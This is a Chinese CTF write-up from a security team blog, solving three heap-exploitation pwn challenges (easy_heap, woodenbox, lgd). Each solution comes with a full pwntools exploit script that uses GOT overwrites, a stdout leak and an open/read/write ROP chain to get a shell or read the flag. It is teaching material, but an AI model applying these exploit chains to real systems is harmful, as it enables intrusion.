前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >高校战“疫”网络安全分享赛-部分PWN题-wp

高校战“疫”网络安全分享赛-部分PWN题-wp

作者头像
Gcow安全团队
发布于 2020-04-01 09:28:23
发布于 2020-04-01 09:28:23
1.2K00
代码可运行
举报
文章被收录于专栏:Gcow安全团队Gcow安全团队
运行总次数:0
代码可运行

高校战“疫”网络安全分享赛-部分PWN题-wp

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1.本文由复眼小组的RGDZ师傅原创
2.本文共3500,图片30张 预计阅读时间10分钟
3.由于笔者水平有限,所以部分操作可能不是最优的,如果各位看官还有更好的方法,欢迎您到评论区分享一下!

0x00.前言:

周末打了下 《高校战“疫”网络安全分享赛》,作为WEBPWN的菜鸟,只做出了三个PWN, 虽然被大佬们暴捶,但还是学到了几个操作,这里写一份WP,记录一下。

0x01.easy_heap:

1.函数分析

这道题比较简单,checksec如下:

图片1 checksec

main函数如下:

图片2 easy_heap_main

del函数可以发现指针已经清0

图片3 easy_heap_del

add函数如下:

图片4 easy_heap_add

我们可以发现,其现申请的ptr指针然后再给其赋值,如果我们申请的时候,输入大于0x400size,虽然函数退出,但是实际上ptr[i]里面已经有指针了,而且上面的del函数释放时并没有给size清空,漏洞点就在这里

2.思路简述:

我们可以现申请一个0x600x70fastbin,然后释放掉,此时fastbin的链表如下:

图片5 easy_heap_add的fastbin链表

之后我们再add(0x500)一下,ptr[0]就等于第一个fastbin,同时其fd指针还保留了留在0x1552000也就是第二个fastbin的指针地址,所以这个时候我们编译ptr[0]也就是编辑第二个fastbin,之后我们可以在add(0x20)一下,add(0x50)把第二个bin拿出来,同时拿到ptr[2]之后我们编辑ptr[0]实际上就可以控制ptr[1], 现在ptr的堆栈情况如下:

图片6 ptrs

所以我们编辑ptr[0]来使得ptr[1]的指针变成170也就是ptr[2],(注:这里地址不一样是因为我本地开了ASLR,我是在脚本里面直接下的断点,但后三位偏移是一样的。)所以当我们在去编辑ptr[1]时实际上就是在编辑ptr[2]chunk,如图:

图片7 ptrs2

由于程序没有开启got保护,而且题目没有给出输出函数,所以我们可以先想办法泄露,我们可以先通过ptr[1]修改ptr[2]的指针指向free_got,在通过编辑ptr[2]来修改free_gotputs_plt,在回去编辑ptr[1]来修改ptr[2]atoi_got,这样当我们free掉ptr[2]后,就能泄露atoi的地址,计算出libc基地址,我们在通过编辑ptr[0]来使得ptr[1]指向atoi_got,在编辑ptr[1]来修改atoi_gotsystem的地址,这样下一次输入时输入/bin/sh就可以getshell了。

3.完整EXP:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *

context.log_level = "debug"

io = process("easyheap")
# io = remote("121.36.209.145", 9997)
elf = ELF('easyheap')
libc = ELF("libc.so.6")

def c(idx):
    io.sendlineafter("Your choice:", str(idx))

def add(size, buf):
    c(1)
    io.sendlineafter("How long is this message?", str(size))
    io.sendafter("What is the content of the message?", buf)

def free(idx):
    c(2)
    io.sendlineafter("What is the index of the item to be deleted?", str(idx))

def edit(idx, buf):
    c(3)
    io.sendlineafter("What is the index of the item to be modified?", str(idx))
    io.sendafter("What is the content of the message?", buf)


add(0x60, '\x00')
add(0x70, '\x00')

free(0)
free(1)

c(1)
io.sendlineafter("How long is this message?", str(0x500))
add(0x20, '\xaa')
add(0x50, '\xaa')

buf = p64(0)
buf += p64(0x21)
buf += '\x70'    #fix    
edit(0, buf)
attach(io)

edit(1, p64(elf.got['free']))
edit(2, p64(elf.plt['puts']))
edit(1, p64(elf.got['atoi']))

free(2)
io.recv()
atoi_addr = u64(io.recv(6)+"\x00\x00")
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']
log.info("libcbase: 0x%x"%libcbase)
log.info("system addr: 0x%x"%system_addr)

# 2 is 0 so fix 1
buf = p64(0)
buf += p64(0x21)
buf += p64(elf.got['atoi'])    #fix  atoi to system
buf += p64(0x500)
edit(0, buf)

edit(1, p64(system_addr))

io.recv()
io.sendline("/bin/sh")
io.interactive()

0x02.woodenbox:

这题的提示很明显,基本就是Roman,但这次我脸太黑,爆破一晚上,没跑出flag,最后查略资料发现Roman其使用在fastbin attack环节先去攻击stderr+157这个地址,这个偏移是固定,在2.23版本的libc中,之后填充0x33就可以攻击stdout结构体,从而可以制造泄露,这样就能把原先Roman的攻击概率从1/4096,提高到1/16,成功率大大提高,这里以这道题来实例分析一下流程。

1.函数分析:

add函数如下:

图片8 woodenbox_add

edit函数如下,这里可以发现很明显的堆溢出了,重新输入了size,但并没有重新申请chunk

图片9 woodenbox_edit

remove函数如下:

图片10 woodenbox_remove

这里会比较绕,作者用了一个items,一个ptrs同时控制数据数组,实际上我们一看地址就清楚了,如图,itemsptrs的地址:

图片11 items_ptrs_addr

这里实际上items是指向第一个数据块的size,ptrs指向第一个数据块的ptr,所以可以定义如下结构:

图片12 item_ptr_struct

这样看着就清楚多了,这还有一个点比较坑,作者移除数据块是非正常移动,在把items[i]置为0后,就开始往上移动,items[0]块相当于消失,下方的块上移一次,所以控制chunk下标时要注意,同时最后一个块也就是item[11]并不会消失,除非主动删除他

2.思路简述:

在调试这题时我们可以先关闭aslr随机化

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo 0 > /proc/sys/kernel/randomize_va_space

我们依然先使用Roman开题手法,先拿到一个unsorted bin 然后通过上一个chunk溢出来覆盖size域和fd后4位,其中第一位需要爆破也就在这里 当我们完成unsorted bin覆盖size域后其在fastbin里面)的fd覆盖后,如图:

图片13 bins

我们最后四位覆盖为"\x25\xdd"这个偏移是2.23libc是固定的,我们fastbin attack后可以拿到stderr+173其目的是为了控制stderr+221实际上就是覆盖stdout结构体中_IO_write_base,如图:

图片14 stdout1

关于stdout的更多细节可以参考:

•从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057

这样就可以进行泄露对了覆盖是我们还多覆盖了"\x00",这样就可以使得其输出一个0x7ffff7dd2600这里我们将a3变成00这样可以截断输出,0xffff7dd2600实际上是stderr+192,如图:

图片15 stdout2

完成上面步骤我们就成功泄露了libc基地址,接着就可以直接改malloc_hook为one_gadget,最后触发malloc_printerrgetshell,题目已经在leave给出:

图片16 leave

3.完整EXP如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *

context.log_level = "debug"

# io = process("./woodenbox2")

elf = ELF('./woodenbox2')
libc = ELF('./libc.so')

def c(idx):
    io.sendlineafter("Your choice:", str(idx))

def add(size, buf):
    c(1)
    io.sendafter("Please enter the length of item name:", str(size))
    io.sendlineafter("Please enter the name of item:", buf)

def edit(idx, buf):
    c(2)
    io.sendlineafter("Please enter the index of item:", str(idx))
    io.sendafter("Please enter the length of item name:", str(len(buf)))
    io.sendafter("Please enter the new name of the item:", buf)

def free(idx):
    c(3)
    io.sendlineafter("Please enter the index of item:", str(idx))

def pwn():
    add(0x20, '') # 0
    add(0x20, '') # 1
    add(0x60, '') # 2
    add(0x60, '') # 3
    add(0x60, '') # 4
    add(0x60, '') # 5
    add(0x80, '') # 6 #unsort bin
    add(0x60, '') # 7 
    add(0x60, '') # 8 
    add(0x60, '') # 9 
    # add(0x80, '') # 10
    add (0x20, '')  # free
    add(0x60, '') # 11

    free(6) # 
    free(6)
    free(2)

    buf = '\x00'*0x68
    buf += p64(0x71)
    buf += "\x20"
    edit(0, buf)

    buf = '\x00'*0x68
    buf += p64(0x71)
    buf +=  p16(0x25dd) # stderr+157
    edit(2, buf)

    attach(io)

    add(0x60, '')
    add(0x60, '')
    add(0x60, '')   # stderr+157

    # attack stdout
    buf = '\x00'*0x33
    buf += p64(0xfbad2887|0x1000)
    buf += p64(0)*3+'\x00'
    edit(4, buf)            # leak _IO_2_1_stdout_+131

    # leak libcbase
    stdout_a = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    log.success("stdout_a: 0x%x"%stdout_a)
    libc.address = stdout_a - libc.sym['_IO_2_1_stderr_'] - 192
    log.success("libcbase: 0x%x"%libc.address)

    free(6)
    # malloc_hook_near = "\xed\x1a"
    malloc_hook_near = p64(+libc.sym['__malloc_hook']-0x23)
    buf = '\x00'*0x68
    buf += p64(0x71)
    buf += malloc_hook_near
    edit(4, buf)    #fix fastbin and attack malloc-0x23

    # attack malloc
    free(6)
    free(6)
    add(0x60, '')
    add(0x60, '')   
    add(0x60, '') # malloc_hook -0x13
    #fix fastbin

    free(3)
    edit(5, p64(0))


    # # unsorted bin attack
    # buf = '\x00'*0x68
    # buf += p64(0x90)
    # buf += p64(0)
    # buf += "\x00"
    # edit(1, buf)
    # add(0x80, '')

    # attack get shell
    one_gadget = libc.address + 0xf02a4
    # one_gadget = p64(one_gadget)[:3]
    buf = '\x00'*0x13
    buf += p64(one_gadget)
    edit(4, buf)

    # gdb.attach(io)
    c(4)
    io.interactive()

for i in range(200):
    try:
        # io = remote("121.36.215.224", 9998)
        io = process("./woodenbox2")
        pwn()
    except:
        print(i)

0x03.lgd:

这题说句实话,感觉就是出题人有点恶心

首先开了一个BCF(虚假控制流)

图片17 BCF

图片18 checksec

一看有点吓人,实际上我当时想去除这种混淆,但之前没有好好研究过这种混淆,参考了看雪的这篇帖子:

•Hex-Rays: 十步杀一人,两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm

但是没有成功,不过不影响。

1.函数分析:

我们仅仅关注关键点:

add函数中:

图片19 add1

第一处其申请一个size<0x1000的chunk放在buf[i],i最大是32

图片20 add2

第二处将输入的字符的长度赋值到size

图片21 add3

第三处将size放入sizes[i]

del函数关键如下:

图片22 del1

释放buf[i]

图片23 del2

这里b, c都是bss段上的常量,而且默认都是0,这种BCF混淆的一种手法,整个程序没有一个地方堆b,c进行赋值,所以这里就是将buf[i]清0

edit函数如下:

图片24 edit

这里的size实际上我们在add函数时输入字符的长度,所以这里就是一个典型的堆溢出

show函数如下:

图片25 show

这里可以进行泄露

2.思路简述:

我们首先利用unsorted bin进行泄露拿到libc基地址,之后原本以为就正常的fastbin attack改hook get_shell,但打了半天打不通后才发现其开了函数禁用

图片26 seccomp-tools

所以这里我们得想办法绕过,典型的orwopen read write就是构造shellcode或者rop链来执行open函数打开文件,read读取内容,write函数输出

这里没有可执行的区域,所以我选择构造rop链,这里可以参考安全客的这篇文章

•一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14

实际简单的说就是先泄露libcenviron变量的值计算偏移得到main函数的rbp地址然后将rop链写入栈中,当main函数执行后退出后就能劫持程序执行流,比较常规的操作

计算main函数rbp的偏移可以使用文章用的

图片27 environ_main_rbp

可以计算出偏移为0xf8

那么我们怎么才能泄露environ以及往栈里面写rop链呢?

图片28 sizes_buf_addr

我们发现sizes距离buf很近仅仅0x80的字节,而且sizes[i]buf[i]中chunk的真实size并无联系可以借此溢出,所以我们可以多构造几个sizes[i]0x7F这样就能轻松控制buf的内容,从而实现任意地址写,和任意地址读(构造的rop链可以参考安全客的文章)

但是当我向main函数的返回地址,也就是rbp的地址写入rop链后程序并没去执行rop,我才注意到main函数并非直接返回,而是执行exit(0)直接退出,但这样我们就不能执行rop链,此处多次思考无果,后有师傅说去劫持eixt函数,这里参考安全客的这篇文章

•详解 De1ctf 2019 pwn——unprintable —— https://www.anquanke.com/post/id/183859

但我实际去劫持的时候失败了,这里回头在实验实验,然后还有师傅说利用SROP,修改free_hookcontext然后将bss段改为可执行,写入shellcode的执行,额,哇靠有点操作难度,感觉比较复杂,那么有没有在简单的方法呢?实际还有,我们注意edit函数,这里在看一下

图片29 edit2

我们发现其向buf[i]写完东西以后就直接退出了,所以我们是否可以去劫持他的返回地址而不是main函数的返回地址呢?

答案是可行的,我们来看一下他的偏移

图片30 edit_rbp

经过计算发现其偏移等于main_rbp-0x130也就是environ-0x228

所以我们这一次将目标地址写入这里,在写入之前注意我们需要再申请一块chunk,主要目的是使得sizes[i]的大小足够我们写入rop链,这里申请0x200好了

3.完整EXP如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
from pwn import *

context.arch = 'amd64'
context.log_level = "debug"

io = process("./pwn")
# io = remote("121.36.209.145", 9998)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def init():
    name = "wo si n baba!!!!,sb chu ti ren"
    io.sendafter("son call babaaa,what is your name? ", name)

def c(idx):
    io.sendlineafter(">> ", str(idx))

def add(size, real_size=0x7E):
    c(1)
    io.sendlineafter("______?", str(size))
    io.sendlineafter("start_the_game,yes_or_no?", "a"*(real_size))

def free(idx):
    c(2)
    io.sendlineafter("index ?", str(idx))

def show(idx):
    c(3)
    io.sendlineafter("index ?", str(idx))

def edit(idx, buf):
    c(4)
    io.sendlineafter("index ?", str(idx))
    io.sendafter("___c___r__s__++___c___new_content ?", buf)

init()
add(0x80)
add(0x20)

free(0)

add(0x80)
show(0)

main_arena_88 = u64(io.recvuntil("\x7f")[1:].ljust(8, '\x00'))
libc_addr = main_arena_88 - (0x7fcadeb17b78-0x7fcade753000)
libc.address = libc_addr
log.success(hex(libc.address))

add(0x10)
add(0x60)
add(0x10)

#attack bss
free(3)
buf = "\x00"*0x18
buf += p64(0x71)
buf += p64(0x603268) #0
edit(2, buf)

add(0x60)
add(0x60) # 5

# leak environ
buf = '\x00'*0x68
buf += p64(libc.symbols['environ'])
edit(5, buf)
show(0)
environ = u64(io.recvuntil("\x7f")[1:].ljust(8, "\x00"))
log.success("environ: 0x%x"%environ)

free(1)
add(0x80, 0x200)

io.recv()
# attack stack and malloc_hook
main_rbp_addr = environ - 0xf8
malloc_hook_addr = libc.symbols['__malloc_hook']
log.success("malloc_hook_addr: 0x%x"%malloc_hook_addr)
buf = '\x00'*0x60
buf +=  "flag".ljust(8, "\x00")
buf += p64(0) # 0
buf += p64(main_rbp_addr-0x130)   # 1

edit(5, buf)

layout = [
    # "flagx00x00x00x00", # ret
    0x0000000000400711, # ret
    0x0000000000400711, # ret
    0x0000000000400711, # ret

    0x00000000004023b3, # : pop rdi ; ret
    0x603268+0x70,       # stack_addr - 0xf8,
    0x00000000004023b1, # : pop rsi ; pop r15 ; ret
    0,
    0,
    libc_addr + 0x0000000000033544, # : pop rax ; ret
    2, # sys_open
    libc_addr + 0x00000000001077F5, # : syscall ; ret

    0x00000000004023b3, # : pop rdi ; ret
    3,
    0x00000000004023b1, # : pop rsi ; pop r15 ; ret
    0x6033E0,
    0,
    libc_addr + 0x0000000000001b92, # : pop rdx ; ret
    0x100,
    elf.plt['read'],

    0x00000000004023b3, # pop rdi
    1,
    0x00000000004023b1, # pop rsi
    0x6033E0,
    0,
    libc_addr + 0x0000000000001b92, # pop rdx
    0x50,

    libc_addr + 0x0000000000033544, # pop eax
    1,
    libc_addr + 0x00000000001077F5, #syscall

    elf.plt['exit']
]

c(4)
io.sendlineafter("index ?", str(1))
# attach(io)
io.sendafter("___c___r__s__++___c___new_content ?", flat(layout))
io.interactive()

0x04.总结:

这次虽然只做出了3道题,但还是学到很多姿势,特别最后一道,就感觉知识迁移能力很重要,以及做题的时候很多需要灵活应变,感觉收获还是满满的,期待大佬们其他题的WP.还请各位大佬多多担待,有什么新的想法欢迎在公众号的后台留言提出。

0x05.参考文章:

•从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057•Hex-Rays: 十步杀一人,两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm•一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14•详解 De1ctf 2019 pwn——unprintable——https://www.anquanke.com/post/id/183859

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-03-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gcow安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
浅谈Retrofit 源码
现在的项目界面都是按iOS的风格,虽然界面无法发挥出我们大Android的风格,网络框架动不动就是mvp+ okhttp +retrofit+rxjava,mvvm+databind的模式,但是网络框架什么的,我们也可以与时俱进的嘛。 今天就在此聊聊retrofit的相关内容,也可以算是给自己的这几周没有更新文章的一个交代吧。 首先关于使用方法,我们可以从官网上了解。 官网地址(http://square.github.io/retrofit/) 网络基本请求方法(官网) Introduction Ret
用户1337002
2018/03/09
1K0
浅谈Retrofit 源码
Retrofit原理_Retrofit
一:Retrofit是什么? 准确来说,Retrofit 是一个 RESTful 的 HTTP 网络请求框架的封装。 原因:网络请求的工作本质上是 OkHttp 完成,而 Retrofit 仅负责 网络请求接口的封装 我们先来看看下面这个图:
全栈程序员站长
2022/11/17
8060
Retrofit原理_Retrofit
源码解析: Retrofit2.5
Retrofit是Square公司开发的一款针对Android网络请求的框架,遵循Restful设计风格,我们查看 invoke 可以发现:底层基于OkHttp实现的 ,相比其他网络请求框架,有以下优势:
小木箱
2020/11/24
7920
源码解析: Retrofit2.5
Android网络编程(十一)源码解析Retrofit
前言 最近博客的产出确实很少,因为博主我正在写一本Android进阶书籍,两头很难兼顾,但是每个月也得至少发一篇博客。上一篇我们介绍了Retrofit的使用方法,这一篇我们照例来学习Retrofit
用户1269200
2018/02/01
9610
Android网络编程(十一)源码解析Retrofit
Android 2 新框架 rxjava ,retrifit
Rxjava主要作用就是用来处理异步,当你的业务需要访问数据库,访问网络,或者任何耗时的操作,都可以借助Rxjava来实现。  但是有人说在Android中已经有很多异步操作的API,比如Handler,AsyncTask等,这些都能满足基本的异步操作,为什么还要使用Rxjava呢?  首先我们开看一个例子做个比较:
zhangjiqun
2024/12/16
1180
【Android】Retrofit2.0源码解析
Retrofit 前言 使用Retrofit已经一段时间了,这货挺好用的,还很特别,特别是使用接口来定义请求方式,这用法让我对它的源码很是好奇。今天就来看看源码吧... 参靠源码retrofit:2.0.2 基本的用法 首先来简单得实现一次GET请求 定义接口 interface Service { @GET("News") Call<ResponseBody> getNews( @Query("limit") String limit); } 完成一次请求
Gavin-ZYX
2018/05/18
1.1K0
入木三分:从设计者角度看Retrofit原理
通常我不喜欢去写分析源码类的文章,流水线式的分析 枯燥乏味,但读完Retrofit源码后让我有了改变这种想法的冲动~~
Rouse
2021/05/28
1.3K0
Retrofit源码解析
Retrofit 其实是对 OkHttp 进行了一层封装,让开发者对网络操作更加方便快捷。
俞其荣
2022/07/28
7300
Retrofit解析9之流程解析
我们讲解Retrofit整体流程,就依据官方给的demo来吧,代码如下: 代码如下:
隔壁老李头
2018/08/30
2.2K0
Retrofit解析9之流程解析
从源码梳理Retrofit网络请求过程
通过定义一个接口,在方法上加入相关注解,Retrofit框架就可以把它解析成对应的网络请求,使用非常方便,记录下从源码角度看这个过程是怎么实现的。 一 Retrofit的引入 在Android Studio中引入Retrofit非常方便,目标最新版本是2.3,在app-build文件-dependencies节点下加入以下依赖即可: compile 'com.squareup.retrofit2:retrofit:2.3.0' compile 'com.squareup.retrofit2:
coderZhen
2018/06/28
5740
从架构角度看Retrofit的作用、原理和启示
前言 Retrofit是squareup公司的开源力作,和同属squareup公司开源的OkHttp,一个负责网络调度,一个负责网络执行,为Android开发者提供了即方便又高效的网络访问框架。 不过,对于Retrofit这样设计精妙、代码简洁、使用方便的优秀开源项目,不能仅知道如何扩展和使用,或者仅研究它采用的技术或模式,“技”当然重要,但不能忽视了背后的“道”。 对于Retrofit,我们还应该看到的,是她在优化App架构方面的努力,以及她在提升开发效率方面的借鉴和启示。 本文试图通过一个具体场景,先
我就是马云飞
2018/02/05
2.3K0
从架构角度看Retrofit的作用、原理和启示
Android网络之Retrofit2.0使用和解析
javacompile 'com.squareup.retrofit2:retrofit:2.0.1'
静默加载
2020/05/31
1.8K0
Android |《看完不忘系列》之Retrofit
嗨,我是哈利迪~《看完不忘系列》将以从树干到细枝的思路分析一些技术框架,本文将对开源项目Retrofit进行介绍。
Holiday
2020/08/20
8920
Android |《看完不忘系列》之Retrofit
Carson带你学Android:网络请求库Retrofit源码分析
具体请看我写的文章:这是一份很详细的 Retrofit 2.0 使用教程(含实例讲解)
Carson.Ho
2022/03/24
1.2K0
Carson带你学Android:网络请求库Retrofit源码分析
深入浅出 Retrofit,这么牛逼的框架你们还不来看看?
文章来源:腾讯Bugly Android 开发中,从原生的 HttpUrlConnection 到经典的 Apache 的 HttpClient,再到对前面这些网络基础框架的封装,比如 Volley、Async Http Client,Http 相关开源框架的选择还是很多的,其中由著名的 Square 公司开源的 Retrofit 更是以其简易的接口配置、强大的扩展支持、优雅的代码结构受到大家的追捧。也正是由于 Square 家的框架一如既往的简洁优雅,所以我一直在想,Square 公司是不是只招处女座的程
腾讯大讲堂
2018/02/13
1.8K0
深入浅出 Retrofit,这么牛逼的框架你们还不来看看?
Retrofit 解析
Retrofit在生成Retrofit对象和ServiceMethod对象时候都用到了Builder模式。通过Builder来生成类的实例对象更加优雅,尤其在如果类有多个可选的构造参数时,参数较多,初始化时我们可以指定其中的一些而其他的参数如果不指定可以为默认。 Builder也有缺点:对多生成Builder对象,增加开销,但总的来说在一些场景下还是利大于弊。
Yif
2019/12/26
1.3K0
源码分析Retrofit请求流程
Retrofit 是 square 公司的另一款广泛流行的网络请求框架。前面的一篇文章《源码分析OKHttp执行过程》已经对 OkHttp 网络请求框架有一个大概的了解。今天同样地对 Retrofit 的源码进行走读,对其底层的实现逻辑做到心中有数。
阳仔
2019/07/30
4020
源码分析Retrofit请求流程
Android技能树 — 网络小结(7)之 Retrofit源码详细解析
介于自己的网络方面知识烂的一塌糊涂,所以准备写相关网络的文章,但是考虑全部写在一篇太长了,所以分开写,希望大家能仔细看,最好可以指出我的错误,让我也能纠正。
青蛙要fly
2018/12/28
1.3K0
Android高频面试专题 - 架构篇(三)Retrofit
Retrofit并不是网络请求框架,严格说只是对网络请求的一种封装,我们只需要定义一个接口类,在请求方法上加上相应的注解,甚至都不需要实现,就可以实现网络请求。但面试可就不只是要求会使用了,咱得知道内部是怎么实现的,才能顺利过关。
Android扫地僧
2020/03/19
1.8K0
Retrofit与动态代理
代理,即Proxy。它的作用就是将原数据与后续的操作进行隔离,达到对修改封闭,对扩展开放的效果。
None_Ling
2019/05/22
9520
相关推荐
浅谈Retrofit 源码
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档